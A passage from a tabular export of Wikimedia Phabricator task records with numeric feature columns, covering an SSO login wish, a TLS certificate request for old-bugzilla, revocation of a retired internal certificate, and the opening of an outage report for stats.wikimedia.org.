  - existing accounts could claim their email addresses used in Gerrit and Bugzilla

There would be details to solve (e.g. if I register an own account, can I merge my Wikimedia account later on?), all secondary.

PS: keeping ignoring the possibilities, something like ""Login with your GitHub (and etc) account"" would be also nice. No barriers to get your username here.",,,1410484838,,PHID-USER-nyhmztvvw4luz5mlcuvg,False,,,PHID-TASK-3lh24obkrnam3r4lanzs,task_subcomment,,True,c3,1,True,,,-42,True,1.0,1.5,0.0,0.0,0.0,4.5,1.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.0,2.5,0.0,5.0,7.0,1.5,1.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.5,2.0,0.0,1.5,0.0,0.0,1.0,1.5,0.0,0.0,1.5,0.0,1.0,0.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,10.5,0.5,0.0,0.0,0.5,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5,2.0,9.0,1.0,2.0,5.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,4.5,7.0,4.5,1.0,1.5,0.0,4.5,0.0,0.5,2.5,0.0,3.0,0.0,0.0,1.0,4.0234375,0.796875,"**qgil** wrote on CODE

Without having a clue about the possibilities, something like this would be ideal:

  - existing Wikimedia users could just use SSO
  - new users (or whoever wants a separate username) could create an account here
  - existing accounts could claim their email addresses used in Gerrit and Bugzilla

There would be details to solve (e.g. if I register an own account, can I merge my Wikimedia account later on?), all secondary.

PS: keeping ignoring the possibilities, something like ""Login with your GitHub (and etc) account"" would be also nice. No barriers to get your username here."
84704,URGENT: CERT for old-bugzilla.wikimedia.org,"**Author:** `qgil@wikimedia.org`

**Description:**
%%%Sorry for this last minute notice.%%%
%%%Can we get a CERT for old-bugzilla.wikimedia.org?%%%
%%%This is related to the Bugzilla - Phabricator migration. We had forgot this%%%
%%%little detail.%%%
%%%I can assume the cost of the CERT from the Engineering Community budget.%%%
%%%Thank you in advance.%%%
%%%--%%%
%%%Quim Gil%%%
%%%Engineering Community Manager @ Wikimedia Foundation%%%
%%%http://www.mediawiki.org/wiki/User:Qgil%%%
",Medium,50.0,1416613448,1418860800.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,False,PHID-TASK-rlhi7yxbtv2ak22guh73,task_description,declined,True,c3,1,False,False,True,-32,True,0.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,17.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.5,23.0,0.0,0.0,3.0,5.0,10.0,0.0,0.0,1.0,3.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,3.5415824915824916,0.5590909090909091,"**Author:** CODE

**Description:**
%%%Sorry for this last minute notice.%%%
%%%Can we get a CERT for old-bugzilla.wikimedia.org?%%%
%%%This is related to the Bugzilla - Phabricator migration. We had forgot this%%%
%%%little detail.%%%
%%%I can assume the cost of the CERT from the Engineering Community budget.%%%
%%%Thank you in advance.%%%
%%%--%%%
%%%Quim Gil%%%
%%%Engineering Community Manager @ Wikimedia Foundation%%%
%%%URL
"
390232,URGENT: CERT for old-bugzilla.wikimedia.org,//Status changed from 'open' to 'rejected' by dzahn//,,,1416882171,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'rejected' by dzahn//
390225,URGENT: CERT for old-bugzilla.wikimedia.org,//Status changed from 'new' to 'open' by RT_System//,,,1416882163,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,False,,,-32,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
390216,URGENT: CERT for old-bugzilla.wikimedia.org,"%%%we solved this issue by moving old-bugzilla behind misc-web varnish/nginx layer%%%
%%%instead.%%%
%%%that way it gets to use the wildcard *.wikimedia.org cert and we don't have to%%%
%%%buy anything, but the error should be gone.%%%
%%%related changes:%%%
%%%https://gerrit.wikimedia.org/r/#/c/175595/%%%
%%%https://gerrit.wikimedia.org/r/#/c/175601/%%%
%%%https://gerrit.wikimedia.org/r/#/c/175615/%%%
%%%https://gerrit.wikimedia.org/r/#/c/175646/%%%
%%%so the issue is resolved but i'm technically saying ""rejected"" because we won't%%%
%%%buy a new cert :)%%%",,,1416882162,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.5,0.0,1.0,0.5,2.5,0.5,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.5,0.0,2.0,2.5,0.5,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,17.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,2.5,1.5,3.5,1.0,2.0,3.5,0.0,1.0,0.0,0.0,2.0,20.5,0.0,0.0,3.0,2.5,1.5,0.0,1.5,0.0,3.0,0.0,0.0,1.0,0.0,1.5,0.5,0.0,0.0,2.9701928696668616,0.5799240210403273,"%%%we solved this issue by moving old-bugzilla behind misc-web varnish/nginx layer%%%
%%%instead.%%%
%%%that way it gets to use the wildcard *.wikimedia.org cert and we don't have to%%%
%%%buy anything, but the error should be gone.%%%
%%%related changes:%%%
%%%URL
%%%URL
%%%URL
%%%URL
%%%so the issue is resolved but i'm technically saying ""rejected"" because we won't%%%
%%%buy a new cert :)%%%"
390207,URGENT: CERT for old-bugzilla.wikimedia.org,Issue taken by **dzahn**,,,1416882058,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,62.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.625,0.625,Issue taken by **dzahn**
390197,URGENT: CERT for old-bugzilla.wikimedia.org,//Subject changed from 'Fwd: Ticket creation failed: URGENT: CERT for old-bugzilla.wikimedia.org' to 'URGENT: CERT for old-bugzilla.wikimedia.org' by aklapper//,,,1416614021,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,15.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.6153846153846154,//Subject changed from 'Fwd: Ticket creation failed: URGENT: CERT for old-bugzilla.wikimedia.org' to 'URGENT: CERT for old-bugzilla.wikimedia.org' by aklapper//
390186,URGENT: CERT for old-bugzilla.wikimedia.org,//Cc aklapper added by aklapper//,,,1416614008,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-rlhi7yxbtv2ak22guh73,task_subcomment,,True,c3,1,True,,,-32,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,1.0,//Cc aklapper added by aklapper//
84568,revoke virt.star.pmtpa ssl certificate,"%%%RobH commented on https://gerrit.wikimedia.org/r/#/c/164001/%%%
%%%""anytime we delete a certificate, please make an independent core-ops ticket to%%%
%%%invalidate the certificate on the provider level, and assign said ticket to%%%
%%%me.""%%%
%%%this is that ticket for certificate:%%%
%%%virt-star.pmtpa.wmnet%%%
%%%https://gerrit.wikimedia.org/r/#/c/164696/%%%
",Medium,50.0,1412978666,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-lt2ln2kwrkqwromgcio3,task_description,declined,True,c3,1,True,False,True,-38,True,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,4.0,0.0,1.0,8.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,3.0,4.0,1.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,3.4054054054054053,0.527027027027027,"%%%RobH commented on URL
%%%""anytime we delete a certificate, please make an independent core-ops ticket to%%%
%%%invalidate the certificate on the provider level, and assign said ticket to%%%
%%%me.""%%%
%%%this is that ticket for certificate:%%%
%%%virt-star.pmtpa.wmnet%%%
%%%URL
"
389453,revoke virt.star.pmtpa ssl certificate,//Status changed from 'open' to 'rejected' by dzahn//,,,1418121633,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.75,//Status changed from 'open' to 'rejected' by dzahn//
389442,revoke virt.star.pmtpa ssl certificate,"%%%CA is gone afaict, name has pmtpa anyways, can't be verified nor revoked%%%",,,1418121633,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,0.8421052631578947,"%%%CA is gone afaict, name has pmtpa anyways, can't be verified nor revoked%%%"
389434,revoke virt.star.pmtpa ssl certificate,"%%%I'm not sure either. I heard on IRC that we don't have the CA anymore, that%%%
%%%sounds like can't do much here besides just closing ticket.%%%",,,1418119965,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,3.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,18.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,13.0,0.0,0.0,8.0,11.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.236842105263158,0.7894736842105263,"%%%I'm not sure either. I heard on IRC that we don't have the CA anymore, that%%%
%%%sounds like can't do much here besides just closing ticket.%%%"
389427,revoke virt.star.pmtpa ssl certificate,//Given to dzahn by robh//,,,1417798935,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,//Given to dzahn by robh//
389419,revoke virt.star.pmtpa ssl certificate,//Status changed from 'new' to 'open' by RT_System//,,,1417798935,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,False,,,-30,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,25.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.75,//Status changed from 'new' to 'open' by RT_System//
389412,revoke virt.star.pmtpa ssl certificate,"%%%When I said assign them to me, I meant only the ones we pay for via rapidssl,%%%
%%%digicert, globalsign, symantec, etc...%%%
%%%internal authed ones I have no idea where we revoke, since the system that%%%
%%%issued them was decomissioned.%%%
%%%assigning back to requestor, since I'm not sure what needs to be done.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%",,,1417798934,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-30,True,0.0,0.0,0.0,1.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,4.0,0.0,3.0,5.5,0.0,1.0,0.0,1.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,1.5,10.5,2.5,0.0,1.5,0.0,0.0,0.0,0.0,2.0,23.0,0.0,0.0,5.0,5.5,6.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.5,1.0,0.0,0.0,1.5,3.3600233781414377,0.5981881940385739,"%%%When I said assign them to me, I meant only the ones we pay for via rapidssl,%%%
%%%digicert, globalsign, symantec, etc...%%%
%%%internal authed ones I have no idea where we revoke, since the system that%%%
%%%issued them was decomissioned.%%%
%%%assigning back to requestor, since I'm not sure what needs to be done.%%%
%%%--%%%
%%%Rob Halsell%%%
%%%Operations Engineer%%%
%%%Wikimedia Foundation, Inc.%%%
%%%E-Mail: <rhalsell at wikimedia>%%%"
389404,revoke virt.star.pmtpa ssl certificate,//Given to robh by dzahn//,,,1413404379,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,//Given to robh by dzahn//
389395,revoke virt.star.pmtpa ssl certificate,"%%%this is about%%%
%%%virt-star.pmtpa.wmnet%%%
%%%note how there still is%%%
%%%virt-star.eqiad.wmnet%%%
%%%which should of course stay%%%",,,1413404366,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,39.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3947368421052633,0.5,"%%%this is about%%%
%%%virt-star.pmtpa.wmnet%%%
%%%note how there still is%%%
%%%virt-star.eqiad.wmnet%%%
%%%which should of course stay%%%"
389385,revoke virt.star.pmtpa ssl certificate,//Subject changed from 'revoke virt.star ssl certificate' to 'revoke virt.star.pmtpa ssl certificate' by dzahn//,,,1413404320,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.6666666666666666,//Subject changed from 'revoke virt.star ssl certificate' to 'revoke virt.star.pmtpa ssl certificate' by dzahn//
389377,revoke virt.star.pmtpa ssl certificate,"%%%deleted cert from public puppet, deleted key from private puppet%%%
%%%afaict all the hosts it was used on are down (virt0, ..?) and wiped already%%%",,,1413404303,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,3.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,3.0,8.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4864864864864864,0.7837837837837838,"%%%deleted cert from public puppet, deleted key from private puppet%%%
%%%afaict all the hosts it was used on are down (virt0, ..?) and wiped already%%%"
389365,revoke virt.star.pmtpa ssl certificate,//Stolen from robh by dzahn//,,,1412983603,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,//Stolen from robh by dzahn//
389356,revoke virt.star.pmtpa ssl certificate,//Given to robh by johnflewis93//,,,1412979693,,PHID-USER-4n6zx4s5v23pjdztvtnr,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,False,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.8,1.0,//Given to robh by johnflewis93//
389347,revoke virt.star.pmtpa ssl certificate,Dependency by ticket #8560 added by dzahn,,,1412978748,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-lt2ln2kwrkqwromgcio3,task_subcomment,,True,c3,1,True,,,-38,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.375,0.875,Dependency by ticket #8560 added by dzahn
84543,more robust certificate chain creation in puppet,"**Author:** `@qchris

**Description:**
%%%Hi,%%%
%%%stats.wikimedia.org and datasets.wikimedia.org are unavailable (“Connection refused” [1])%%%
%%%(Initial report on Server Admin Log at 2014-10-06%%%
%%%20:08 Nemo_bis: 22.03 < Ainali> It was just noticed on svwp village pump that http://stats.wikimedia.org is down%%%
%%%)%%%
%%%Both domains are hosted on stat1001.%%%
%%%Stat1001's apache is not running, but I lack permission to look at the%%%
%%%logs.%%%
%%%Could you please have a look what's going on there?%%%
%%%Thanks,%%%
%%%Christian%%%
%%%P.S.: Tracking bug in bugzilla is at%%%
%%%https://bugzilla.wikimedia.org/show_bug.cgi?id=71686%%%
%%%[1]%%%
%%%_________________________________________________________________%%%
%%%christian@spencer // jobs: 0 // time: 02:00:02 // exit code: 0%%%
%%%cwd: ~%%%
%%%wget http://stats.wikimedia.org%%%
%%%--2014-10-06 02:00:14--  http://stats.wikimedia.org/%%%
%%%Resolving stats.wikimedia.org... 208.80.154.155%%%
%%%Connecting to stats.wikimedia.org|208.80.154.155|:80... failed: Connection refused.%%%
%%%--%%%

%%%---------------------------------------------------------------%%%

__________________________

